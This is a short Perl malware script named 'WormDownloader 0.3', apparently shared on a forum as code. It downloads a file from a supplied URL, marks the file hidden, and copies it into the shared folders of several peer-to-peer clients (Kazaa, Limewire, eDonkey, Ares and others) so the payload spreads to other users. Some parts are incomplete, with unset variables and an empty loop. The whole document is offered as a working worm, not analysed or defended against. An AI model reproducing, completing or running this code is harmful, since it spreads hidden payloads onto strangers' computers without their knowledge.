Código
#!usr/bin/perl #WormDownloader 0.3 #Coded By Doddy H use Win32::File; use Cwd; use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); $nave->timeout(5); my @rutas = ("C:\\Archivos de programa\\KMD\\My Shared Folder","C:\\Archivos de programa\\Kazaa\\My Shared Folder\\","C:\\Archivos de programa\\KaZaA Lite\\My Shared Folder\\","C:\\Archivos de programa\\Morpheus\\My Shared Folder\\","C:\Archivos de programa\\Grokster\\My Grokster\\","C:\\Archivos de programa\\BearShare\\Shared\\","C:\\Archivos de programa\\Edonkey2000\\Incoming\\","C:\\Archivos de programa\\limewire\\Shared\\","C:\\Documents and Settings\\Administrador\\Configuración local\\Datos de programa\\Ares\\My Shared Folder\\"); head(); if (download($down,$name)) { hideit($name,"hide"); wormear($down,$name); } else { } copyright(); <stdin>; sub wormear { my($filedown,$name) = @_; my $exe = getcwd()."/".$name; close AUTORUN; for my $dir(65..90) { } for my $r(@rutas) { if (-d $r) { Win32::CopyFile($name,$r."/".$name,0); }}} sub hideit { if ($_[1] eq "show") { Win32::File::SetAttributes($_[0],NORMAL); } elsif ($_[1] eq "hide") { Win32::File::SetAttributes($_[0],HIDDEN); } else { #print "error\n"; } } sub download { if ($nave->mirror($_[0],$_[1])) { if (-f $_[1]) { return true; }}} sub head { } sub copyright { } #The End ?